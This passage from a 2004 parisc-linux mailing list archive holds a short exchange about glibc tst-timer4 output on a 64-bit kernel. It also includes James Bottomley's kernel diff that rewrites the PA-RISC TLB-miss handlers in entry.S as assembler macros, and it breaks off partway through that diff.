List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 27 Apr 2004 16:02:11 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21544

This is a multi-part message in MIME format.

------=_NextPart_000_0003_01C42C81.003CBB80
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


------=_NextPart_000_0003_01C42C81.003CBB80
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1400" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0003_01C42C81.003CBB80--


From - Thu Nov 08 21:31:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-1?Q?Re=3A=20=5Bparisc=2Dlinux=5D=20RE=3A=20=5BPATCH=5D=20glibc=2D2=2E3=2E3=20error=20with=20debian=20unstable=09compiler=2E=2E=2E?=
Date: Tue, 27 Apr 2004 19:06:06 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <408D436000000F0D@ocpmta1.freegates.net>
References: <20040427145741.GD14937@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623415 9067 80.91.229.3 (22 Nov 2014 02:30:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Tue Apr 27 11:06:09 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3F5DB4832
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Apr 2004 11:06:09 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1BIW22-0006nR-00; Tue, 27 Apr 2004 19:06:06 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 27 Apr 2004 19:06:06 +0200
In-Reply-To: <20040427145741.GD14937@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 27 Apr 2004 17:06:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21545


> You aren't seeing a failure in tst-timer4?

uhm ... No (definitely :^)

> Can you verify this by running tst-timer4 by hand and sending the output
> ot the list?
Yes naturally, here there are:

# ./tst-timer4 
clock_gettime returned timespec = { 1083087449, 554351000 }
clock_getres returned timespec = { 0, 10000000 }
# echo $?
0

Well duno if results are right (first line different on each test but the
second is constant with or without TIMEOUTFACTOR)?

Don't hesitate with more questions ;)

Joel

----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: [PATCH] glibc-2.3.3 error with debian
	unstable	compiler...
Date: Tue, 27 Apr 2004 13:15:21 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20040427171521.GF14937@baldric.uwo.ca>
References: <20040427145741.GD14937@baldric.uwo.ca>
	<408D436000000F0D@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623415 9069 80.91.229.3 (22 Nov 2014 02:30:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Tue Apr 27 11:15:51 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 890CE4829
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Apr 2004 11:15:51 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BIWB0-0001n6-00; Tue, 27 Apr 2004 13:15:22 -0400
Content-Disposition: inline
In-Reply-To: <408D436000000F0D@ocpmta1.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (85% Sync Ratio [=========.])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 27 Apr 2004 17:15:51 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21546

On Tue, Apr 27, 2004 at 07:06:06PM +0200, Joel Soete wrote:
> > Can you verify this by running tst-timer4 by hand and sending the output
> > ot the list?
> Yes naturally, here there are:
> 
> # ./tst-timer4 
> clock_gettime returned timespec = { 1083087449, 554351000 }
> clock_getres returned timespec = { 0, 10000000 }
> # echo $?
> 0
> 
> Well duno if results are right (first line different on each test but the
> second is constant with or without TIMEOUTFACTOR)?
> 
> Don't hesitate with more questions ;)

Okay, it's a 64-bit kernel problem them. What kernel are you running
right now?

c.



From - Thu Nov 08 21:31:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: 27 Apr 2004 12:15:48 -0500
Lines: 1075
Approved: news@gmane.org
Message-ID: <1083086150.2297.32.camel@mulgrave>
References: <20040427171140.706074945BD@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623416 9072 80.91.229.3 (22 Nov 2014 02:30:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:16 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Tue Apr 27 11:15:53 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 4878D4829; Tue, 27 Apr 2004 11:15:52 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i3RHFoa21287; Tue, 27 Apr 2004 13:15:50 -0400
In-Reply-To: <20040427171140.706074945BD@palinux.hppa>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 27 Apr 2004 17:15:53 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21547

On Tue, 2004-04-27 at 12:11, James Bottomley wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	jejb	04/04/27 11:11:39
> 
> Modified files:
> 	.              : Makefile 
> 	arch/parisc/kernel: entry.S 
> 	include/asm-parisc: page.h 
> 
> Log message:
> More assembler magic entry removal.
> 
> Also macro'ise the tlb miss handlers, making it much easier to
> alter them since all the information is collated in one place

===== arch/parisc/kernel/entry.S 1.15 vs edited =====
--- 1.15/arch/parisc/kernel/entry.S	Sun Apr 25 04:00:10 2004
+++ edited/arch/parisc/kernel/entry.S	Tue Apr 27 11:05:46 2004
@@ -40,11 +40,13 @@
 #ifdef __LP64__
 #define CMPIB           cmpib,*
 #define CMPB            cmpb,*
+#define COND(x)		*x
 
 	.level 2.0w
 #else
 #define CMPIB           cmpib,
 #define CMPB            cmpb,
+#define COND(x)		x
 
 	.level 2.0
 #endif
@@ -389,6 +391,208 @@
 	.align		32
 	.endm
 
+	/* The following are simple 32 vs 64 bit instruction
+	 * abstractions for the macros */
+	.macro		EXTR	reg1,start,length,reg2
+#ifdef __LP64__
+	extrd,u		\reg1,32+\start,\length,\reg2
+#else
+	extrw,u		\reg1,\start,\length,\reg2
+#endif
+	.endm
+
+	.macro		DEP	reg1,start,length,reg2
+#ifdef __LP64__
+	depd		\reg1,32+\start,\length,\reg2
+#else
+	depw		\reg1,\start,\length,\reg2
+#endif
+	.endm
+
+	.macro		DEPI	val,start,length,reg
+#ifdef __LP64__
+	depdi		\val,32+\start,\length,\reg
+#else
+	depwi		\val,\start,\length,\reg
+#endif
+	.endm
+
+	/* In LP64, the space contains part of the upper 32 bits of the
+	 * fault.  We have to extract this and place it in the va,
+	 * zeroing the corresponding bits in the space register */
+	.macro		space_adjust	spc,va,tmp
+#ifdef __LP64__
+	extrd,u		\spc,63,SPACEID_SHIFT,\tmp
+	depd		%r0,63,SPACEID_SHIFT,\spc
+	depd		\tmp,31,SPACEID_SHIFT,\va
+#endif
+	.endm
+
+	.import		swapper_pg_dir,code
+
+	/* Get the pgd.  For faults on space zero (kernel space), this
+	 * is simply swapper_pg_dir.  For user space faults, the
+	 * pgd is stored in %cr25 */
+	.macro		get_pgd		spc,reg
+	ldil		L%PA(swapper_pg_dir),\reg
+	ldo		R%PA(swapper_pg_dir)(\reg),\reg
+	or,COND(=)	%r0,\spc,%r0
+	mfctl		%cr25,\reg
+	.endm
+
+	/* Only allow faults on different spaces from the
+	 * currently active one if we're the kernel */
+	.macro		space_check	spc,tmp,fault
+	mfsp		%sr7,\tmp
+	or,COND(<>)	%r0,\spc,%r0	/* user may execute gateway page
+					 * as kernel, so defeat the space
+					 * check if it is */
+	copy		\spc,\tmp
+	or,COND(=)	%r0,\tmp,%r0	/* nullify if executing as kernel */
+	cmpb,COND(<>),n	\tmp,\spc,\fault
+	.endm
+
+	/* Look up a PTE in a 2-Level scheme (faulting at each
+	 * level if the entry isn't present */
+	.macro		L2_ptep	pmd,pte,index,va,fault
+	EXTR		\va,31-PMD_SHIFT,PAGE_SHIFT-BITS_PER_PMD,\index
+	copy		%r0,\pte
+	DEP		%r0,31,PAGE_SHIFT,\pmd	/* clear offset */
+	LDREG,s		\index(\pmd),\pmd
+	EXTR		\va,31-PAGE_SHIFT,PAGE_SHIFT-BITS_PER_PTE,\index
+	bb,>=,n		\pmd,_PAGE_PRESENT_BIT,\fault
+	DEP		%r0,31,PAGE_SHIFT,\pmd	/* clear offset */
+	shladd		\index,BITS_PER_PTE,\pmd,\pmd
+	LDREG		%r0(\pmd),\pte		/* pmd is now pte */
+	bb,>=,n		\pte,_PAGE_PRESENT_BIT,\fault
+	.endm
+
+	/* Look up PTE in a 3-Level scheme */
+	.macro		L3_ptep pgd,pte,index,va,fault
+	extrd,u		\va,63-PGDIR_SHIFT,PAGE_SHIFT-BITS_PER_PGD,\index
+	copy		%r0,\pte
+	ldd,s		\index(\pgd),\pgd
+	bb,>=,n		\pgd,_PAGE_PRESENT_BIT,\fault
+	L2_ptep		\pgd,\pte,\index,\va,\fault
+	.endm
+
+	/* Set the _PAGE_ACCESSED bit of the PTE.  Be clever and
+	 * don't needlessly dirty the cache line if it was already set */
+	.macro		update_ptep	ptep,pte,tmp,tmp1
+	ldi		_PAGE_ACCESSED,\tmp1
+	or		\tmp1,\pte,\tmp
+	and,COND(<>)	\tmp1,\pte,%r0
+	STREG		\tmp,0(\ptep)
+	.endm
+
+	/* Set the dirty bit (and accessed bit).  No need to be
+	 * clever, this is only used from the dirty fault */
+	.macro		update_dirty	ptep,pte,tmp,tmp1
+	ldi		_PAGE_ACCESSED|_PAGE_DIRTY,\tmp
+	or		\tmp,\pte,\pte
+	STREG		\pte,0(\ptep)
+	.endm
+
+	/* Convert the pte and prot to tlb insertion values.  How
+	 * this happens is quite subtle, read below */
+	.macro		make_insert_tlb	spc,pte,prot
+	space_to_prot   \spc \prot        /* create prot id from space */
+	/* The following is the real subtlety.  This is depositing
+	 * T <-> _PAGE_REFTRAP
+	 * D <-> _PAGE_DIRTY
+	 * B <-> _PAGE_DMB (memory break)
+	 *
+	 * Then incredible subtlety: The access rights are
+	 * _PAGE_GATEWAY _PAGE_EXEC _PAGE_READ
+	 * See 3-14 of the parisc 2.0 manual
+	 *
+	 * Finally, _PAGE_READ goes in the top bit of PL1 (so we
+	 * trigger an access rights trap in user space if the user
+	 * tries to read an unreadable page */
+	depd            \pte,8,7,\prot
+
+	/* PAGE_USER indicates the page can be read with user privileges,
+	 * so deposit X1|11 to PL1|PL2 (remember the upper bit of PL1
+	 * contains _PAGE_READ */
+	extrd,u,*=      \pte,_PAGE_USER_BIT+32,1,%r0
+	depdi		7,11,3,\prot
+	/* If we're a gateway page, drop PL2 back to zero for promotion
+	 * to kernel privilege (so we can execute the page as kernel).
+	 * Any privilege promotion page always denys read and write */
+	extrd,u,*= 	\pte,_PAGE_GATEWAY_BIT+32,1,%r0
+	depd		%r0,11,2,\prot	/* If Gateway, Set PL2 to 0 */
+
+	/* Get rid of prot bits and convert to page addr for iitlbt */
+
+	depd		%r0,63,PAGE_SHIFT,\pte
+	extrd,u		\pte,56,32,\pte
+	.endm
+
+	/* Identical macro to make_insert_tlb above, except it
+	 * makes the tlb entry for the differently formatted pa11
+	 * insertion instructions */
+	.macro		make_insert_tlb_11	spc,pte,prot
+	zdep		\spc,30,15,\prot
+	dep		\pte,8,7,\prot
+	extru,=		\pte,_PAGE_NO_CACHE_BIT,1,%r0
+	depi		1,12,1,\prot
+	extru,=         \pte,_PAGE_USER_BIT,1,%r0
+	depi		7,11,3,\prot   /* Set for user space (1 rsvd for read) */
+	extru,= 	\pte,_PAGE_GATEWAY_BIT,1,%r0
+	depi		0,11,2,\prot	/* If Gateway, Set PL2 to 0 */
+
+	/* Get rid of prot bits and convert to page addr for iitlba */
+
+	depi		0,31,12,\pte
+	extru		\pte,24,25,\pte
+
+	.endm
+
+	/* This is for ILP32 PA2.0 only.  The TLB insertion needs
+	 * to extend into I/O space if the address is 0xfXXXXXXX
+	 * so we extend the f's into the top word of the pte in
+	 * this case */
+	.macro		f_extend	pte,tmp
+	extrd,s		\pte,44,4,\tmp
+	addi,<>		1,\tmp,%r0
+	extrd,s		\pte,63,32,\pte
+	.endm
+
+	/* The alias region is an 8MB aligned 16MB to do clear and
+	 * copy user pages at addresses congruent with the user
+	 * virtual address.
+	 *
+	 * To use the alias page, you set %r26 up with the to TLB
+	 * entry (identifying the physical page) and %r23 up with
+	 * the from tlb entry (or nothing if only a to entry---for
+	 * clear_user_page_asm) */
+	.macro		do_alias	spc,tmp,tmp1,va,pte,prot,fault
+	cmpib,COND(<>),n 0,\spc,\fault
+	ldil		L%(TMPALIAS_MAP_START),\tmp
+#if defined(__LP64__) && (TMPALIAS_MAP_START >= 0x80000000)
+	/* on LP64, ldi will sign extend into the upper 32 bits,
+	 * which is behaviour we don't want */
+	depdi		0,31,32,\tmp
+#endif
+	copy		\va,\tmp1
+	DEPI		0,31,23,\tmp1
+	cmpb,COND(<>),n	\tmp,\tmp1,\fault
+	ldi		(_PAGE_DIRTY|_PAGE_WRITE|_PAGE_READ),\prot
+	depd,z		\prot,8,7,\prot
+	/*
+	 * OK, it is in the temp alias region, check whether "from" or "to".
+	 * Check "subtle" note in pacache.S re: r23/r26.
+	 */
+#ifdef __LP64__
+	extrd,u,*=	\va,41,1,%r0
+#else
+	extrw,u,=	\va,9,1,%r0
+#endif
+	or,COND(tr)	%r23,%r0,\pte
+	or		%r26,%r0,\pte
+	.endm 
+
+
 	/*
 	 * Align fault_vector_20 on 4K boundary so that both
 	 * fault_vector_11 and fault_vector_20 are on the
@@ -979,85 +1183,23 @@
 #ifdef __LP64__
 
 dtlb_miss_20w:
-	extrd,u         spc,63,7,t1     /* adjust va */
-	depd            t1,31,7,va      /* adjust va */
-	depdi           0,63,7,spc      /* adjust space */
-	mfctl           %cr25,ptp	/* Assume user space miss */
-	or,*<>          %r0,spc,%r0     /* If it is user space, nullify */
-	mfctl           %cr24,ptp	/* Load kernel pgd instead */
-	extrd,u         va,33,9,t1      /* Get pgd index */
-
-	mfsp            %sr7,t0		/* Get current space */
-	or,*=           %r0,t0,%r0      /* If kernel, nullify following test */
-	cmpb,*<>,n       t0,spc,dtlb_fault /* forward */
-
-	/* First level page table lookup */
-
-	ldd,s           t1(ptp),ptp
-	extrd,u         va,42,9,t0     /* get second-level index */
-	bb,>=,n         ptp,_PAGE_PRESENT_BIT,dtlb_check_alias_20w
-	depdi           0,63,12,ptp     /* clear prot bits */
-
-	/* Second level page table lookup */
-
-	ldd,s           t0(ptp),ptp
-	extrd,u         va,51,9,t0     /* get third-level index */
-	bb,>=,n         ptp,_PAGE_PRESENT_BIT,dtlb_check_alias_20w
-	depdi           0,63,12,ptp     /* clear prot bits */
-
-	/* Third level page table lookup */
-
-	shladd           t0,3,ptp,ptp
-	ldi		_PAGE_ACCESSED,t1
-	ldd              0(ptp),pte
-	bb,>=,n          pte,_PAGE_PRESENT_BIT,dtlb_check_alias_20w
-
-	/* Check whether the "accessed" bit was set, otherwise do so */
-
-	or		t1,pte,t0	/* t0 has R bit set */
-	and,*<>         t1,pte,%r0      /* test and nullify if already set */
-	std             t0,0(ptp)       /* write back pte */
-
-	space_to_prot   spc prot        /* create prot id from space */
-	depd            pte,8,7,prot    /* add in prot bits from pte */
-
-	extrd,u,*=      pte,_PAGE_USER_BIT+32,1,r0
-	depdi		7,11,3,prot   /* Set for user space (1 rsvd for read) */
-	extrd,u,*= 	pte,_PAGE_GATEWAY_BIT+32,1,r0
-	depdi		0,11,2,prot	/* If Gateway, Set PL2 to 0 */
+	space_adjust	spc,va,t0
+	get_pgd		spc,ptp
+	space_check	spc,t0,dtlb_fault
 
-	/* Get rid of prot bits and convert to page addr for idtlbt */
+	L3_ptep		ptp,pte,t0,va,dtlb_check_alias_20w
 
-	depdi		0,63,12,pte
-	extrd,u         pte,56,52,pte
+	update_ptep	ptp,pte,t0,t1
+
+	make_insert_tlb	spc,pte,prot
+	
 	idtlbt          pte,prot
 
 	rfir
 	nop
 
 dtlb_check_alias_20w:
-
-	/* Check to see if fault is in the temporary alias region */
-
-	cmpib,*<>,n     0,spc,dtlb_fault /* forward */
-	ldil            L%(TMPALIAS_MAP_START),t0
-#if (TMPALIAS_MAP_START >= 0x80000000)
-	depdi		0,31,32,t0	/* clear any sign extension */
-#endif
-	copy            va,t1
-	depdi           0,63,23,t1
-	cmpb,*<>,n      t0,t1,dtlb_fault /* forward */
-	ldi             (_PAGE_DIRTY|_PAGE_WRITE|_PAGE_READ),prot
-	depd,z          prot,8,7,prot
-
-	/*
-	 * OK, it is in the temp alias region, check whether "from" or "to".
-	 * Check "subtle" note in pacache.S re: r23/r26.
-	 */
-
-	extrd,u,*=      va,41,1,r0
-	or,*tr          %r23,%r0,pte    /* If "from" use "from" page */
-	or,*            %r26,%r0,pte    /* else "to", use "to" page  */
+	do_alias	spc,t0,t1,va,pte,prot,dtlb_fault
 
 	idtlbt          pte,prot
 
@@ -1065,51 +1207,16 @@
 	nop
 
 nadtlb_miss_20w:
-	extrd,u         spc,63,7,t1     /* adjust va */
-	depd            t1,31,7,va      /* adjust va */
-	depdi           0,63,7,spc      /* adjust space */
-	mfctl           %cr25,ptp	/* Assume user space miss */
-	or,*<>          %r0,spc,%r0     /* If it is user space, nullify */
-	mfctl           %cr24,ptp	/* Load kernel pgd instead */
-	extrd,u         va,33,9,t1      /* Get pgd index */
-
-	mfsp            %sr7,t0		/* Get current space */
-	or,*=           %r0,t0,%r0      /* If kernel, nullify following test */
-	cmpb,*<>,n       t0,spc,nadtlb_fault /* forward */
-
-	/* First level page table lookup */
-
-	ldd,s           t1(ptp),ptp
-	extrd,u         va,42,9,t0     /* get second-level index */
-	bb,>=,n         ptp,_PAGE_PRESENT_BIT,nadtlb_emulate
-	depdi           0,63,12,ptp     /* clear prot bits */
-
-	/* Second level page table lookup */
-
-	ldd,s           t0(ptp),ptp
-	extrd,u         va,51,9,t0     /* get third-level index */
-	bb,>=,n         ptp,_PAGE_PRESENT_BIT,nadtlb_emulate
-	depdi           0,63,12,ptp     /* clear prot bits */
-
-	/* Third level page table lookup */
-
-	shladd           t0,3,ptp,ptp
-	ldi		_PAGE_ACCESSED,t1
-	ldd              0(ptp),pte
-	bb,>=,n          pte,_PAGE_PRESENT_BIT,nadtlb_check_flush_20w
-
-	space_to_prot   spc prot        /* create prot id from space */
-	depd            pte,8,7,prot    /* add in prot bits from pte */
-
-	extrd,u,*=      pte,_PAGE_USER_BIT+32,1,r0
-	depdi		7,11,3,prot   /* Set for user space (1 rsvd for read) */
-	extrd,u,*= 	pte,_PAGE_GATEWAY_BIT+32,1,r0
-	depdi		0,11,2,prot	/* If Gateway, Set PL2 to 0 */
+	space_adjust	spc,va,t0
+	get_pgd		spc,ptp
+	space_check	spc,t0,nadtlb_fault
 
-	/* Get rid of prot bits and convert to page addr for idtlbt */
+	L3_ptep		ptp,pte,t0,va,nadtlb_check_flush_20w
+
+	update_ptep	ptp,pte,t0,t1
+
+	make_insert_tlb	spc,pte,prot
 
-	depdi		0,63,12,pte
-	extrd,u         pte,56,52,pte
 	idtlbt          pte,prot
 
 	rfir
@@ -1135,49 +1242,15 @@
 #else
 
 dtlb_miss_11:
-	mfctl           %cr25,ptp	/* Assume user space miss */
-	or,<>           %r0,spc,%r0	/* If it is user space, nullify */
-	mfctl           %cr24,ptp	/* Load kernel pgd instead */
-	extru		va,9,10,t1	/* Get pgd index */
-
-	mfsp            %sr7,t0		/* Get current space */
-	or,=            %r0,t0,%r0	/* If kernel, nullify following test */
-	cmpb,<>,n       t0,spc,dtlb_fault /* forward */
-
-	/* First level page table lookup */
-
-	ldwx,s		t1(ptp),ptp
-	extru		va,19,10,t0	/* get second-level index */
-	bb,>=,n         ptp,_PAGE_PRESENT_BIT,dtlb_check_alias_11
-	depi		0,31,12,ptp	/* clear prot bits */
-
-	/* Second level page table lookup */
-
-	sh2addl 	 t0,ptp,ptp
-	ldi		_PAGE_ACCESSED,t1
-	ldw		 0(ptp),pte
-	bb,>=,n          pte,_PAGE_PRESENT_BIT,dtlb_check_alias_11
-
-	/* Check whether the "accessed" bit was set, otherwise do so */
-
-	or		t1,pte,t0	/* t0 has R bit set */
-	and,<>		t1,pte,%r0	/* test and nullify if already set */
-	stw		t0,0(ptp)	/* write back pte */
-
-	zdep            spc,30,15,prot  /* create prot id from space */
-	dep             pte,8,7,prot    /* add in prot bits from pte */
-
-	extru,=		pte,_PAGE_NO_CACHE_BIT,1,r0
-	depi		1,12,1,prot
-	extru,=         pte,_PAGE_USER_BIT,1,r0
-	depi		7,11,3,prot   /* Set for user space (1 rsvd for read) */
-	extru,= 	pte,_PAGE_GATEWAY_BIT,1,r0
-	depi		0,11,2,prot	/* If Gateway, Set PL2 to 0 */
+	get_pgd		spc,ptp
 
-	/* Get rid of prot bits and convert to page addr for idtlba */
+	space_check	spc,t0,dtlb_fault
 
-	depi		0,31,12,pte
-	extru		pte,24,25,pte
+	L2_ptep		ptp,pte,t0,va,dtlb_check_alias_11
+
+	update_ptep	ptp,pte,t0,t1
+
+	make_insert_tlb_11	spc,pte,prot
 
 	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
 	mtsp		spc,%sr1
@@ -1218,43 +1291,16 @@
 	nop
 
 nadtlb_miss_11:
-	mfctl           %cr25,ptp	/* Assume user space miss */
-	or,<>           %r0,spc,%r0	/* If it is user space, nullify */
-	mfctl           %cr24,ptp	/* Load kernel pgd instead */
-	extru		va,9,10,t1	/* Get pgd index */
-
-	mfsp            %sr7,t0		/* Get current space */
-	or,=            %r0,t0,%r0	/* If kernel, nullify following test */
-	cmpb,<>,n       t0,spc,nadtlb_fault /* forward */
-
-	/* First level page table lookup */
-
-	ldwx,s		t1(ptp),ptp
-	extru		va,19,10,t0	/* get second-level index */
-	bb,>=,n         ptp,_PAGE_PRESENT_BIT,nadtlb_emulate
-	depi		0,31,12,ptp	/* clear prot bits */
-
-	/* Second level page table lookup */
-
-	sh2addl 	 t0,ptp,ptp
-	ldi		_PAGE_ACCESSED,t1
-	ldw		 0(ptp),pte
-	bb,>=,n          pte,_PAGE_PRESENT_BIT,nadtlb_check_flush_11
-
-	zdep            spc,30,15,prot  /* create prot id from space */
-	dep             pte,8,7,prot    /* add in prot bits from pte */
-
-	extru,=		pte,_PAGE_NO_CACHE_BIT,1,r0
-	depi		1,12,1,prot
-	extru,=         pte,_PAGE_USER_BIT,1,r0
-	depi		7,11,3,prot   /* Set for user space (1 rsvd for read) */
-	extru,= 	pte,_PAGE_GATEWAY_BIT,1,r0
-	depi		0,11,2,prot	/* If Gateway, Set PL2 to 0 */
+	get_pgd		spc,ptp
 
-	/* Get rid of prot bits and convert to page addr for idtlba */
+	space_check	spc,t0,nadtlb_fault
+
+	L2_ptep		ptp,pte,t0,va,nadtlb_check_flush_11
+
+	update_ptep	ptp,pte,t0,t1
+
+	make_insert_tlb_11	spc,pte,prot
 
-	depi		0,31,12,pte
-	extru		pte,24,25,pte
 
 	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
 	mtsp		spc,%sr1
@@ -1292,120 +1338,44 @@
 	nop
 
 dtlb_miss_20:
-	mfctl           %cr25,ptp	/* Assume user space miss */
-	or,<>           %r0,spc,%r0	/* If it is user space, nullify */
-	mfctl           %cr24,ptp	/* Load kernel pgd instead */
-	extru		va,9,10,t1	/* Get pgd index */
-
-	mfsp            %sr7,t0		/* Get current space */
-	or,=            %r0,t0,%r0	/* If kernel, nullify following test */
-	cmpb,<>,n       t0,spc,dtlb_fault /* forward */
-
-	/* First level page table lookup */
-
-	ldwx,s		t1(ptp),ptp
-	extru		va,19,10,t0	/* get second-level index */
-	bb,>=,n         ptp,_PAGE_PRESENT_BIT,dtlb_check_alias_20
-	depi		0,31,12,ptp	/* clear prot bits */
-
-	/* Second level page table lookup */
-
-	sh2addl 	 t0,ptp,ptp
-	ldi		_PAGE_ACCESSED,t1
-	ldw		 0(ptp),pte
-	bb,>=,n          pte,_PAGE_PRESENT_BIT,dtlb_check_alias_20
-
-	/* Check whether the "accessed" bit was set, otherwise do so */
-
-	or		t1,pte,t0	/* t0 has R bit set */
-	and,<>		t1,pte,%r0	/* test and nullify if already set */
-	stw		t0,0(ptp)	/* write back pte */
-
-	space_to_prot   spc prot        /* create prot id from space */
-	depd            pte,8,7,prot    /* add in prot bits from pte */
-
-	extrd,u,*=      pte,_PAGE_USER_BIT+32,1,r0
-	depdi		7,11,3,prot   /* Set for user space (1 rsvd for read) */
-	extrd,u,*= 	pte,_PAGE_GATEWAY_BIT+32,1,r0
